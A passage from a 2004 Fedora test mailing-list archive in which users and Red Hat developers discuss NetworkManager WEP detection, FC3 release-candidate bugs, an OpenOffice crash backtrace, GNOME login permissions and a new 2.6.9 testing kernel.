want to.... Some of these issues are fixed in CVS already, but not in FC3 since FC3 is locked. I'm going to release updates after FC3 is release that should alleviate many of these issues. Bear in mind though, that its very, very hard to figure out if you have a link to the access point. Some cards report a link even when they could not possibly have authenticated and associated with the access point (atmel cards using shared key with the wrong WEP key), other cards stubbornly refuse to switch their ESSID no matter how many times you set it (3 Orinoco-based cards I've tried), and others are just plain broken. Windows Gets This Right in driverland by forcing some amount of consistency among wireless drivers, but We Utterly Suck. Its a slow process getting fixes upstream into the kernel. So, if we have a very hard time figuring out whether you have a link to the access point or not, its hard to do networking stuff with any certainty. Were you doing this manually, you'd fumble around for 10 seconds figuring out that your WEP key was wrong, or that you set the wrong authentication mode on the card, and you'd have to change it from the command line. That's a non-starter for users. This Stuff Should Just Work, which is what NetworkManager tries to do. Do you ever see Windows users configuring their wireless card with all the arcane options that iwconfig has? No, mostly its automatic, even more so on Windows XP with Wireless Zero Config. The process that NM goes through to figure out if you have a link the AP or not is basically this: while NOT ((valid reported AP MAC addres) && (no invalid encrypted packets received)) { if (encrypted AP ) Ask For A Key since what we have is wrong, since we failed to connect already attempt to connect with ESSID and WEP key } Ad nauseum. So evidentally, the card is reporting an invalid MAC address, or it takes too long to negotiate a connection, or you're getting invalid encrypted packets. The invalid encrypted packets happen when the card cannot decrypt a packet with the WEP key that's set. This little check is to help with Open System mode, where you can still connect to the AP event though the WEP key may be wrong. Try it, your card will still report a valid MAC address, even though you CAN'T SEND OR RECEIVE TRAFFIC. This is just plain broken, but its how Open System works on Linux. So, and I'm at a loss here, how do we figure out your WEP key is wrong without waiting 30s for DHCP to time out? That's why you don't use Open System. It sucks. Privacy concerns are mostly unfounded, since anyone who can crack your WEP key doesn't really care whether you're using Shared Key as long as you're using WEP. If you have WEP turned on, you're vulnerable. Dan From dcbw at redhat.com Wed Nov 3 15:20:03 2004 From: dcbw at redhat.com (Dan Williams) Date: Wed, 03 Nov 2004 10:20:03 -0500 Subject: NetworkManager Issues In-Reply-To: <1099494333.2722.14.camel@kyrre> References: <77e74f3e04110207476002a81c@mail.gmail.com> <1099447511.5027.7.camel@localhost> <77e74f3e041102184647cc916a@mail.gmail.com> <1099460573.4958.12.camel@localhost> <1099494121.9969.13.camel@dcbw.boston.redhat.com> <1099494333.2722.14.camel@kyrre> Message-ID: <1099495203.9969.34.camel@dcbw.boston.redhat.com> On Wed, 2004-11-03 at 16:05 +0100, Kyrre Ness Sjobak wrote: > But i still should show up in syslog? What should? NM should still print stuff to syslog, yes... Dan From dcbw at redhat.com Wed Nov 3 15:26:02 2004 From: dcbw at redhat.com (Dan Williams) Date: Wed, 03 Nov 2004 10:26:02 -0500 Subject: NetworkManager Issues In-Reply-To: <1099495172.9969.32.camel@dcbw.boston.redhat.com> References: <77e74f3e04110207476002a81c@mail.gmail.com> <1099447511.5027.7.camel@localhost> <1099495172.9969.32.camel@dcbw.boston.redhat.com> Message-ID: <1099495562.9969.39.camel@dcbw.boston.redhat.com> Note that I talked to the former Lead Engineer for Apple's Airport, which can almost instantly sense you're using the wrong key, and he said that do be able to do that, Airport drivers connect _exclusively_ in Shared Key authentication mode. Dan From rpa4email at rogers.com Wed Nov 3 15:53:36 2004 From: rpa4email at rogers.com (Robert Couture) Date: Wed, 03 Nov 2004 10:53:36 -0500 Subject: FC3 RC5 - Networked LPD server printing still not working. In-Reply-To: <1099371201.3557.139.camel@localhost.localdomain> References: <4182DEF4.3060700@earthlink.net> <41839A45.7010703@earthlink.net> <4183DC49.1080401@earthlink.net> <80d7e40904103012141b508bb0@mail.gmail.com> <4183F00C.5040802@earthlink.net> <1099366696.3775.20.camel@tabb1.tabb> <1099371201.3557.139.camel@localhost.localdomain> Message-ID: <1099497216.3835.19.camel@RuneLinux.tamn.local> On Mon, 2004-01-11 at 22:53 -0600, Rodolfo J. Paiz wrote: > Shorewall (www.shorewall.net). Text files to hold configuration, so no > cute GUI but you do get to access and modify it via SSH. Secure, > reliable, easy to learn and use, very very powerful. 5-star tool. Well > supported and documented, even. In addition to SSH, you can do configuration via Web Interface that allows you to have a GUI for the configuration of the firewall post install. I have been using it here with great success for quite some time now on an old P-II 266 w/128MB RAM (More than required) and a 2GB HD. Robert. From timothy at jupiter.stcl.edu Wed Nov 3 15:55:08 2004 From: timothy at jupiter.stcl.edu (Timothy Sandel) Date: Wed, 03 Nov 2004 09:55:08 -0600 Subject: 1440x900 supported on FC3 In-Reply-To: <1099445304.3751.4.camel@localhost.localdomain> References: <1099430488.3330.5.camel@saturn.stcl.edu> <1099437293.4119.0.camel@localhost.localdomain> <1099445304.3751.4.camel@localhost.localdomain> Message-ID: <1099497308.3508.2.camel@saturn.stcl.edu> On Tue, 2004-11-02 at 18:28 -0700, Kim Lux wrote: > BTW: I've got a ZD7280, with the 17" Brightview. You might want to > check out www.zd7000forums.com. > > Thanks a ton! I see info there for not only video, but wireless as well. Did you have to use the ndiswrapper to get the wireless to work? > > > On Tue, 2004-11-02 at 16:14 -0700, Kim Lux wrote: > > Check out the Generic LCD Monitor settings. That display size is > > supported there. > > > > I overlooked it too. > > > > > > On Tue, 2004-11-02 at 15:21 -0600, Timothy Sandel wrote: > > > I've got an HP zd7310 laptop on order which comes with a 17" widesreen > > > display that does 1440x900 and nVidia Geforce Go5200 and was wondering > > > if FC3 will support that kind of video setup. > > > > > > It is shipped with WinXP Home. Gasp! > > > > > > Thanks, > > > > > > Timothy > > > > > > > > -- > > Kim Lux (Mr.) Diesel Research Inc > > > -- > Kim Lux (Mr.) Diesel Research Inc > From achoens at frontiernet.net Wed Nov 3 15:56:53 2004 From: achoens at frontiernet.net (achoens at frontiernet.net) Date: Wed, 3 Nov 2004 10:56:53 -0500 Subject: Destroyed x.org In-Reply-To: <1099419914.22956.13.camel@tuxpaq> References: <20041102144256.5l0yogkcookkcoo4@webmail.frontiernet.net> <63a30f4d04110206541b091a05@mail.gmail.com> <1099408874.11027.8.camel@douglas-furlong.firebox.com> <1099419914.22956.13.camel@tuxpaq> Message-ID: <20041103105653.g51n6ssww888so0s@webmail.frontiernet.net> This may be quite a bit more serious than I suspected. No matter what I do, the rhgb client tries to start to, but adding sigle to the kernel arguments did succeed in getting me a command prompt. I then went to: /var/cache/yum/development/packages and tried to: rpm -Uvh --force xorg*6.8.1-6* I thought this would fix all my woes. Instead, it made the mystery even deeper. I was told that /usr/lib/libpopt.so.0 has invalid ELF headers. I tried booting this was twice to see if somehow the kernel had any affect on this, although I couldn't see how it could. I used the kernel that came with T2 and the latest one yum downloaded yesterday. Same result either way. It would appear that yum trashed more than just my x setup. If anyone has any ideas I sure would like to hear them. --andy Quoting Paul Iadonisi : > On Tue, 2004-11-02 at 10:36 -0600, Satish Balay wrote: > > > > On Tue, 2 Nov 2004, Douglas Furlong wrote: > > > > > The boot parameter "3" brings the system to "multi user, no X". > > > > The OP has problem with runlevel-3 - hence 'single' was sugested. > > I'm suspecting that since there was a problem both with rhgb > stilling > being run *and* runlevel 3 being ignored that maybe the OP hit escape > instead of enter after changing the grub kernel parameters. > I'd suggest trying again, but after hitting escape before the three > second timeout expires and hitting 'a' to edit the kernel command > line > (placing the cursor at the end of the command line), delete the rhgb > parameter and add '3' and then be sure to hit enter to boot the > kernel > with the new command line. > > -- > -Paul Iadonisi > Senior System Administrator > Red Hat Certified Engineer / Local Linux Lobbyist > Ever see a penguin fly? -- Try Linux. > GPL all the way: Sell services, don't lease secrets > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From lux at diesel-research.com Wed Nov 3 15:58:15 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 03 Nov 2004 08:58:15 -0700 Subject: 1440x900 supported on FC3 In-Reply-To: <1099497308.3508.2.camel@saturn.stcl.edu> References: <1099430488.3330.5.camel@saturn.stcl.edu> <1099437293.4119.0.camel@localhost.localdomain> <1099445304.3751.4.camel@localhost.localdomain> <1099497308.3508.2.camel@saturn.stcl.edu> Message-ID: <1099497495.3530.14.camel@localhost.localdomain> I wrote the wireless HOWTO on the forum. Yes, I used ndiswrapper. It is working well with FC3. I am also using kwireless. These zd7000s absolutely rock, especially with Linux installed. On Wed, 2004-11-03 at 09:55 -0600, Timothy Sandel wrote: > On Tue, 2004-11-02 at 18:28 -0700, Kim Lux wrote: > > BTW: I've got a ZD7280, with the 17" Brightview. You might want to > > check out www.zd7000forums.com. > > > > > Thanks a ton! I see info there for not only video, but wireless as > well. Did you have to use the ndiswrapper to get the wireless to work? > > > > > > On Tue, 2004-11-02 at 16:14 -0700, Kim Lux wrote: > > > Check out the Generic LCD Monitor settings. That display size is > > > supported there. > > > > > > I overlooked it too. > > > > > > > > > On Tue, 2004-11-02 at 15:21 -0600, Timothy Sandel wrote: > > > > I've got an HP zd7310 laptop on order which comes with a 17" widesreen > > > > display that does 1440x900 and nVidia Geforce Go5200 and was wondering > > > > if FC3 will support that kind of video setup. > > > > > > > > It is shipped with WinXP Home. Gasp! > > > > > > > > Thanks, > > > > > > > > Timothy > > > > > > > > > > > -- > > > Kim Lux (Mr.) Diesel Research Inc > > > > > -- > > Kim Lux (Mr.) Diesel Research Inc > > > -- Kim Lux (Mr.) Diesel Research Inc From william.huizinga at smiths-aerospace.com Wed Nov 3 16:00:04 2004 From: william.huizinga at smiths-aerospace.com (Bill Huizinga) Date: Wed, 03 Nov 2004 11:00:04 -0500 Subject: new rawhide gtk breaks openoffice In-Reply-To: <1099494380.3364.62.camel@hermione.soho.bytebot.net> References: <1099490782.3678.17.camel@vixen.agre.smiths.aero> <1099494380.3364.62.camel@hermione.soho.bytebot.net> Message-ID: <1099497604.1021.5.camel@vixen.agre.smiths.aero> On Thu, 2004-11-04 at 02:06 +1100, Colin Charles wrote: > On Wed, 2004-11-03 at 09:06 -0500, William S Huizinga wrote: > > I have two documents (company sensitive, so I can't give them for bug > > verification; sorry), one small and one large, both in .sxw format (but > > they were both originally imported as .doc). If I open the small one > > using the recent files option, and the large one using the recent files > > option, I get the attached crash (output by bug-buddy and less than > > totally useful without the debug info). This is 100% repeatable. > > Try creating the test case without the company sensitivities, and see if > can happen I've determined that it doesn't matter what the first document is, just that one window has to be open already for the problem to occur when the second window opens. The doc in question is not all that sensitive and I wouldn't have a problem sending it to someone directly, I just don't want to post it publicly. > > I'd create a Bugzilla entry for it, but I can't figure out a clean case > > (ie, not requiring my two oddball documents) which will cause the > > problem. > > I saw calls to /usr/lib/nvidia/libGLcore.so.1 > > Are you running Nvidia binary drivers? Fair enough. Here's a dump without them. Backtrace was generated from '/usr/lib/ooo-1.1/program/soffice.bin' (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". 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Thread 5 (Thread -302560336 (LWP 1404)): #0 0x001017a2 in _dl_sysinfo_int80 () from /lib/ld-linux.so.2 No symbol table info available. #1 0x009056a4 in poll () from /lib/tls/libc.so.6 No symbol table info available. #2 0xf5cef156 in g_main_loop_get_context () from /usr/lib/libglib-2.0.so.0 No symbol table info available. #3 0xf5cee590 in g_main_context_dispatch () from /usr/lib/libglib-2.0.so.0 No symbol table info available. #4 0xf5ceec53 in g_main_loop_run () from /usr/lib/libglib-2.0.so.0 No symbol table info available. #5 0x027cebff in link_thread_io_context () from /usr/lib/libORBit-2.so.0 No symbol table info available. #6 0xf5d451a8 in ?? () from /usr/lib/libglib-2.0.so.0 No symbol table info available. #7 0xedf74458 in ?? () No symbol table info available. #8 0xf5d081bd in g_static_private_free () from /usr/lib/libglib-2.0.so.0 No symbol table info available. > -- > Colin Charles, byte at aeon.com.my > http://www.bytebot.net/ > "First they ignore you, then they laugh at you, then they fight you, > then you win." -- Mohandas Gandhi > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From timothy at jupiter.stcl.edu Wed Nov 3 16:07:45 2004 From: timothy at jupiter.stcl.edu (Timothy Sandel) Date: Wed, 03 Nov 2004 10:07:45 -0600 Subject: 1440x900 supported on FC3 In-Reply-To: <1099497495.3530.14.camel@localhost.localdomain> References: <1099430488.3330.5.camel@saturn.stcl.edu> <1099437293.4119.0.camel@localhost.localdomain> <1099445304.3751.4.camel@localhost.localdomain> <1099497308.3508.2.camel@saturn.stcl.edu> <1099497495.3530.14.camel@localhost.localdomain> Message-ID: <1099498066.3508.12.camel@saturn.stcl.edu> On Wed, 2004-11-03 at 08:58 -0700, Kim Lux wrote: > I wrote the wireless HOWTO on the forum. Yes, I used ndiswrapper. It > is working well with FC3. > > I am also using kwireless. > > These zd7000s absolutely rock, especially with Linux installed. > Waiting impatiently for mine to get here. > > On Wed, 2004-11-03 at 09:55 -0600, Timothy Sandel wrote: > > On Tue, 2004-11-02 at 18:28 -0700, Kim Lux wrote: > > > BTW: I've got a ZD7280, with the 17" Brightview. You might want to > > > check out www.zd7000forums.com. > > > > > > > > Thanks a ton! I see info there for not only video, but wireless as > > well. Did you have to use the ndiswrapper to get the wireless to work? > > > > > > > > > On Tue, 2004-11-02 at 16:14 -0700, Kim Lux wrote: > > > > Check out the Generic LCD Monitor settings. That display size is > > > > supported there. > > > > > > > > I overlooked it too. > > > > > > > > > > > > On Tue, 2004-11-02 at 15:21 -0600, Timothy Sandel wrote: > > > > > I've got an HP zd7310 laptop on order which comes with a 17" widesreen > > > > > display that does 1440x900 and nVidia Geforce Go5200 and was wondering > > > > > if FC3 will support that kind of video setup. > > > > > > > > > > It is shipped with WinXP Home. Gasp! > > > > > > > > > > Thanks, > > > > > > > > > > Timothy > > > > > > > > > > > > > > -- > > > > Kim Lux (Mr.) Diesel Research Inc > > > > > > > -- > > > Kim Lux (Mr.) Diesel Research Inc > > > > > > -- > Kim Lux (Mr.) Diesel Research Inc > From Robert.Chiodini-1 at ksc.nasa.gov Wed Nov 3 15:21:53 2004 From: Robert.Chiodini-1 at ksc.nasa.gov (Chiodini, Robert) Date: Wed, 3 Nov 2004 10:21:53 -0500 Subject: Gnome won't fire up for non root users Message-ID: <1099495312.27696.189.camel@tweedy.ksc.nasa.gov> On Wed, 2004-11-03 at 09:37, Martin Hanneghan wrote: > All of a sudden, Gnome has stopped working if I attempt to login to > FC3 test 3 as a non-root user. Even if I create a new user, they can't > login. I've tried deleting all the .gnome related files and > directories for the user but to no avail. > > Any suggestions how to fix this (or why it happened?) - I'm guessing > some permissions have got corrupted somewhere since root still has a > Gnome graphical desktop. > > Non-graphical login works fine (e.g. failsafe term or logging into a > console window outside of X). XFCE works fine but KDE is bombing out > too saying the session lasted less than 10 seconds... > > Regards > Martin Change to init level 3 (telinit 3), then: Check and correct the permissions of (or maybe delete) the following in /tmp .ICE-unix/* .X0-lock .X11-unix orbit-* gconfd-* In past releases, I've usually deleted .ICE-unix, .X0-lock, and .X11-unix, but I haven't had the problem in Fedora. Also check/correct the permissions of the /tmp directory itself. Mine is drwxrwxrwt 19 root root 8192 Nov 3 10:09 /tmp Bob... -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From timothy at jupiter.stcl.edu Wed Nov 3 16:13:57 2004 From: timothy at jupiter.stcl.edu (Timothy Sandel) Date: Wed, 03 Nov 2004 10:13:57 -0600 Subject: FC3 RC3 test results Message-ID: <1099498437.3508.14.camel@saturn.stcl.edu> I have been using FC3 RC3 on a MP2000 and a Winbook X4 for about a week now and both have been nearly flawless. I have had to open a couple of bugzillas for very minor problems. Great work folks! I would imagine the Nov 8 release date is right on. Timothy Athlon MP2000 Winbook X4 HP zd7310us (coming soon, will install FC3 when it arrives) From dcbw at redhat.com Wed Nov 3 16:43:05 2004 From: dcbw at redhat.com (Dan Williams) Date: Wed, 03 Nov 2004 11:43:05 -0500 Subject: new rawhide gtk breaks openoffice In-Reply-To: <1099497604.1021.5.camel@vixen.agre.smiths.aero> References: <1099490782.3678.17.camel@vixen.agre.smiths.aero> <1099494380.3364.62.camel@hermione.soho.bytebot.net> <1099497604.1021.5.camel@vixen.agre.smiths.aero> Message-ID: <1099500185.11234.3.camel@dcbw.boston.redhat.com> On Wed, 2004-11-03 at 11:00 -0500, Bill Huizinga wrote: > On Thu, 2004-11-04 at 02:06 +1100, Colin Charles wrote: > > On Wed, 2004-11-03 at 09:06 -0500, William S Huizinga wrote: > > > I have two documents (company sensitive, so I can't give them for bug > > > verification; sorry), one small and one large, both in .sxw format (but > > > they were both originally imported as .doc). If I open the small one > > > using the recent files option, and the large one using the recent files > > > option, I get the attached crash (output by bug-buddy and less than > > > totally useful without the debug info). This is 100% repeatable. > > > > Try creating the test case without the company sensitivities, and see if > > can happen > > I've determined that it doesn't matter what the first document is, just > that one window has to be open already for the problem to occur when the > second window opens. The doc in question is not all that sensitive and > I wouldn't have a problem sending it to someone directly, I just don't > want to post it publicly. I can't reproduce this with two random docs lying around, opening the first with recent items and then the second with recent items without closing the first. Could you send the documents in question directly to me? I will not release them publicly. Thanks! Dan From dcbw at redhat.com Wed Nov 3 16:50:15 2004 From: dcbw at redhat.com (Dan Williams) Date: Wed, 03 Nov 2004 11:50:15 -0500 Subject: new rawhide gtk breaks openoffice In-Reply-To: <1099500185.11234.3.camel@dcbw.boston.redhat.com> References: <1099490782.3678.17.camel@vixen.agre.smiths.aero> <1099494380.3364.62.camel@hermione.soho.bytebot.net> <1099497604.1021.5.camel@vixen.agre.smiths.aero> <1099500185.11234.3.camel@dcbw.boston.redhat.com> Message-ID: <1099500615.11234.6.camel@dcbw.boston.redhat.com> I can't seem to reproduce with a prerelease -11, opening some random doc using recent-items first, then opening LP-*.sxw from recent-items second... Is that basically what you're doing? I'm running gtk2-2.4.13-5. Dan On Wed, 2004-11-03 at 11:43 -0500, Dan Williams wrote: > On Wed, 2004-11-03 at 11:00 -0500, Bill Huizinga wrote: > > On Thu, 2004-11-04 at 02:06 +1100, Colin Charles wrote: > > > On Wed, 2004-11-03 at 09:06 -0500, William S Huizinga wrote: > > > > I have two documents (company sensitive, so I can't give them for bug > > > > verification; sorry), one small and one large, both in .sxw format (but > > > > they were both originally imported as .doc). If I open the small one > > > > using the recent files option, and the large one using the recent files > > > > option, I get the attached crash (output by bug-buddy and less than > > > > totally useful without the debug info). This is 100% repeatable. > > > > > > Try creating the test case without the company sensitivities, and see if > > > can happen > > > > I've determined that it doesn't matter what the first document is, just > > that one window has to be open already for the problem to occur when the > > second window opens. The doc in question is not all that sensitive and > > I wouldn't have a problem sending it to someone directly, I just don't > > want to post it publicly. > > I can't reproduce this with two random docs lying around, opening the > first with recent items and then the second with recent items without > closing the first. Could you send the documents in question directly to > me? I will not release them publicly. > > Thanks! > Dan > From thomas.cameron at camerontech.com Wed Nov 3 17:11:55 2004 From: thomas.cameron at camerontech.com (Thomas Cameron) Date: Wed, 03 Nov 2004 11:11:55 -0600 Subject: Evolution weirdness Message-ID: <1099501915.3866.51.camel@thomas.camerontech.com> All - Using FC3 RC5 (installed from the iso images at http://testing.fedora.redhat.com/tree/i386/iso/). My machine is a dual Xeon 1GHz with a gig of memory and Ultra160 disks - relatively snappy machine. My mail server is on my local network here at home. I am running evolution-2.0.2-3. I get my mail via IMAP. I notice that often when I open a message Evolution takes several seconds (sometimes as many as 10-15) to display it. I also notice that the mail server hard drive light stays lit during this delay. It seems like somehow Evolution is re-indexing the folder or something for every message opened. The more messages in the IMAP folder, the longer the delay. I don't recall this behavior in older versions of Evolution (1.4 or 2). Any ideas how to make this stop? -- A: Because people read from top to bottom Q: Why is top-posting bad? Thomas Cameron, RHCE, CNE, MCSE, MCT From jansen at strw.leidenuniv.nl Wed Nov 3 17:17:05 2004 From: jansen at strw.leidenuniv.nl (David Jansen) Date: Wed, 3 Nov 2004 18:17:05 +0100 Subject: possible bug in diskdruid FC3 latest RC Message-ID: <20041103171705.GA7001@strw.leidenuniv.nl> I just downloaded the current FC3 release candidate and started an install on a machine on which I do a lot of testing. When choosing to amnually partition the disk, I was presented with a list in which the space occupied by hda1 (an ntfs partition) was also listed as Free space. I have put a screenshot on http://www.strw.leidenuniv.nl/~jansen/temp/diskdruid-bug.png Ignoring this free space of course left my windows partition alive but I think it is potentially dangerous to report this space as free. Is this a bug? I am certain FC3test3 and earlier didn't show the space occupied by windows to be free. I haven't dared to test the automatic partitioning yet, after all, it may automatically use this "free" space. Should I file a bugzilla report about this? David Jansen From davej at redhat.com Wed Nov 3 17:19:54 2004 From: davej at redhat.com (Dave Jones) Date: Wed, 3 Nov 2004 12:19:54 -0500 Subject: New testing kernel. Message-ID: <20041103171954.GC31914@redhat.com> As the more astute will have noticed, yesterday I dropped a 2.6.9 based kernel in updates-testing. This is 99% the same as the 2.6.9 kernel that is in FC3. Whilst there are still bugs to fix there, it also fixes countless bugs existing for a long time in the current FC2 kernel, and getting both trees on a kinda-sorta level playing field is going to do wonders for trying to get bugzilla under control. So, please beat on this a little, as any improvements made to it will not only be useful from an FC2 update point of view, but also for FC3. Thanks, Dave From lux at diesel-research.com Wed Nov 3 17:26:48 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 03 Nov 2004 10:26:48 -0700 Subject: New testing kernel. In-Reply-To: <20041103171954.GC31914@redhat.com> References: <20041103171954.GC31914@redhat.com> Message-ID: <1099502808.16932.0.camel@localhost.localdomain> What is the release number of this kernel ? On Wed, 2004-11-03 at 12:19 -0500, Dave Jones wrote: > As the more astute will have noticed, yesterday I > dropped a 2.6.9 based kernel in updates-testing. > > This is 99% the same as the 2.6.9 kernel that is in FC3. > Whilst there are still bugs to fix there, it also > fixes countless bugs existing for a long time in the > current FC2 kernel, and getting both trees on a > kinda-sorta level playing field is going to do wonders > for trying to get bugzilla under control. > > So, please beat on this a little, as any improvements > made to it will not only be useful from an FC2 update > point of view, but also for FC3. > > Thanks, > > Dave > -- Kim Lux (Mr.) Diesel Research Inc From davej at redhat.com Wed Nov 3 17:33:23 2004 From: davej at redhat.com (Dave Jones) Date: Wed, 3 Nov 2004 12:33:23 -0500 Subject: New testing kernel. In-Reply-To: <1099502808.16932.0.camel@localhost.localdomain> References: <20041103171954.GC31914@redhat.com> <1099502808.16932.0.camel@localhost.localdomain> Message-ID: <20041103173323.GD31914@redhat.com> On Wed, Nov 03, 2004 at 10:26:48AM -0700, Kim Lux wrote: > What is the release number of this kernel ? 2.6.9-1.1_FC2 Dave From lux at diesel-research.com Wed Nov 3 17:38:48 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 03 Nov 2004 10:38:48 -0700 Subject: New testing kernel. In-Reply-To: <20041103173323.GD31914@redhat.com> References: <20041103171954.GC31914@redhat.com> <1099502808.16932.0.camel@localhost.localdomain> <20041103173323.GD31914@redhat.com> Message-ID: <1099503528.16932.5.camel@localhost.localdomain> I know you guys are busy, but how does that compare to -1.640, -1.643 and -1.649 ? I'm looking for a fix for bugzilla# 137579. https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=137579 I need to test sound in an app I am developing. On Wed, 2004-11-03 at 12:33 -0500, Dave Jones wrote: > On Wed, Nov 03, 2004 at 10:26:48AM -0700, Kim Lux wrote: > > What is the release number of this kernel ? > > 2.6.9-1.1_FC2 > > Dave > -- Kim Lux (Mr.) Diesel Research Inc From davej at redhat.com Wed Nov 3 17:43:14 2004 From: davej at redhat.com (Dave Jones) Date: Wed, 3 Nov 2004 12:43:14 -0500 Subject: New testing kernel. In-Reply-To: <1099503528.16932.5.camel@localhost.localdomain> References: <20041103171954.GC31914@redhat.com> <1099502808.16932.0.camel@localhost.localdomain> <20041103173323.GD31914@redhat.com> <1099503528.16932.5.camel@localhost.localdomain> Message-ID: <20041103174314.GE31914@redhat.com> On Wed, Nov 03, 2004 at 10:38:48AM -0700, Kim Lux wrote: > I know you guys are busy, but how does that compare to -1.640, -1.643 > and -1.649 ? It's pretty much the same kernel as -667 which is in todays rawhide. > I'm looking for a fix for bugzilla# 137579. > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=137579 not had a chance to look into that yet. Dave From ksnider at flarn.com Wed Nov 3 17:50:10 2004 From: ksnider at flarn.com (Ken Snider) Date: Wed, 03 Nov 2004 12:50:10 -0500 Subject: New testing kernel. In-Reply-To: <20041103171954.GC31914@redhat.com> References: <20041103171954.GC31914@redhat.com> Message-ID: <41891A52.4020401@flarn.com> Dave Jones wrote: > As the more astute will have noticed, yesterday I > dropped a 2.6.9 based kernel in updates-testing. Is there a known fix for this era of kernel and the NVIDIA driver (specifically __VMALLOC_RESERVE)? -- Ken Snider From paul at thespps.org Wed Nov 3 18:55:16 2004 From: paul at thespps.org (Paul Rennix) Date: Wed, 3 Nov 2004 10:55:16 -0800 Subject: dual install results, artheros drivers, touchpad on a toshiba satellite p35 s609 Message-ID: <006101c4c1d6$a90a4080$0600a8c0@pr20041031> I just set up FC3t3 on a Toshiba p35 s609 - it went well! I set it up as a dual boot with the oem WinXP Home SP2 and used knoppix to resize the partition and then installed FC3. NO disk geometry problems!! I didn't use any of the workarounds that were necessary with fc2, and the install was flawless. Now I only have a couple minor problems to work through. One, is the convoluted process that I am finding to install drivers for artheros wifi - which I have gone through twice now without success. I know its a longshot, but has anyone had success with these drivers on fc3? Also, the install failed to recognize the touchpad which windows reports to be an "alps pointing device" which is a touchpad and 2 buttons (no "stick.") It is doing well with a wireless usb mouse, though. I figured I would have some problems along these lines on such a new device (released in July I believe). More than anything I am SO GLAD that the disk geometry bug seems to have been fixed. Good work! If anyone has any advice on the atheros/madwifi problem or the touchpad I would love to hear from you. -Paul Rennix From harald at redhat.com Wed Nov 3 17:58:49 2004 From: harald at redhat.com (Harald Hoyer) Date: Wed, 03 Nov 2004 18:58:49 +0100 Subject: New testing kernel. In-Reply-To: <41891A52.4020401@flarn.com> References: <20041103171954.GC31914@redhat.com> <41891A52.4020401@flarn.com> Message-ID: <41891C59.6000108@redhat.com> Ken Snider wrote: > Dave Jones wrote: > >> As the more astute will have noticed, yesterday I >> dropped a 2.6.9 based kernel in updates-testing. > > > Is there a known fix for this era of kernel and the NVIDIA driver > (specifically __VMALLOC_RESERVE)? > ask nvidia -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature URL: From lux at diesel-research.com Wed Nov 3 17:59:52 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 03 Nov 2004 10:59:52 -0700 Subject: New testing kernel. In-Reply-To: <20041103174314.GE31914@redhat.com> References: <20041103171954.GC31914@redhat.com> <1099502808.16932.0.camel@localhost.localdomain> <20041103173323.GD31914@redhat.com> <1099503528.16932.5.camel@localhost.localdomain> <20041103174314.GE31914@redhat.com> Message-ID: <1099504792.16932.10.camel@localhost.localdomain> Thanks. On Wed, 2004-11-03 at 12:43 -0500, Dave Jones wrote: > On Wed, Nov 03, 2004 at 10:38:48AM -0700, Kim Lux wrote: > > I know you guys are busy, but how does that compare to -1.640, -1.643 > > and -1.649 ? > > It's pretty much the same kernel as -667 which is in todays rawhide. > > > I'm looking for a fix for bugzilla# 137579. > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=137579 > > not had a chance to look into that yet. > > Dave > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Wed Nov 3 18:03:59 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 03 Nov 2004 11:03:59 -0700 Subject: dual install results, artheros drivers, touchpad on a toshiba satellite p35 s609 In-Reply-To: <006101c4c1d6$a90a4080$0600a8c0@pr20041031> References: <006101c4c1d6$a90a4080$0600a8c0@pr20041031> Message-ID: <1099505039.16932.15.camel@localhost.localdomain> Comments below. On Wed, 2004-11-03 at 10:55 -0800, Paul Rennix wrote: > I just set up FC3t3 on a Toshiba p35 s609 - it went well! > > I set it up as a dual boot with the oem WinXP Home SP2 and used knoppix to > resize the partition and then installed FC3. NO disk geometry problems!! I > didn't use any of the workarounds that were necessary with fc2, and the > install was flawless. Glad to hear it. Mine install went OK that way as well. > Now I only have a couple minor problems to work through. One, is the > convoluted process that I am finding to install drivers for artheros wifi - > which I have gone through twice now without success. I know its a longshot, > but has anyone had success with these drivers on fc3? Not those, but the Broadcom drivers on a ZD7000. We all use the ndiswrapper, which is simple and works well. See zd7000forums.com under Linux. There is a HOWTO there that explains it pretty well. > Also, the install failed to recognize the touchpad which windows reports to > be an "alps pointing device" which is a touchpad and 2 buttons (no "stick.") > It is doing well with a wireless usb mouse, though. Can't help you here. The Linux synaptics touchpad driver works exellent, better than the Windows version. Did we expect any less ? > I figured I would have some problems along these lines on such a new device > (released in July I believe). More than anything I am SO GLAD that the disk > geometry bug seems to have been fixed. Good work! I found it very neat to be able to resize the ntfs partition and thus avoid having to re install XP. > If anyone has any advice on the atheros/madwifi problem or the touchpad I > would love to hear from you. Try ndiswrapper. A bunch of us are using it problem free on the ZD7000s. Our wireless light even lights up. > -Paul Rennix > > > > > -- Kim Lux (Mr.) Diesel Research Inc From ksnider at flarn.com Wed Nov 3 18:04:37 2004 From: ksnider at flarn.com (Ken Snider) Date: Wed, 03 Nov 2004 13:04:37 -0500 Subject: New testing kernel. In-Reply-To: <41891C59.6000108@redhat.com> References: <20041103171954.GC31914@redhat.com> <41891A52.4020401@flarn.com> <41891C59.6000108@redhat.com> Message-ID: <41891DB5.9020703@flarn.com> Harald Hoyer wrote: > ask nvidia One would asume the nvidia *users* of the list might have a *workaround*, which was the question - not if anyone knew what was *wrong* with the driver, which is a nvidia question. -- Ken Snider From lux at diesel-research.com Wed Nov 3 18:04:54 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 03 Nov 2004 11:04:54 -0700 Subject: New testing kernel. In-Reply-To: <41891A52.4020401@flarn.com> References: <20041103171954.GC31914@redhat.com> <41891A52.4020401@flarn.com> Message-ID: 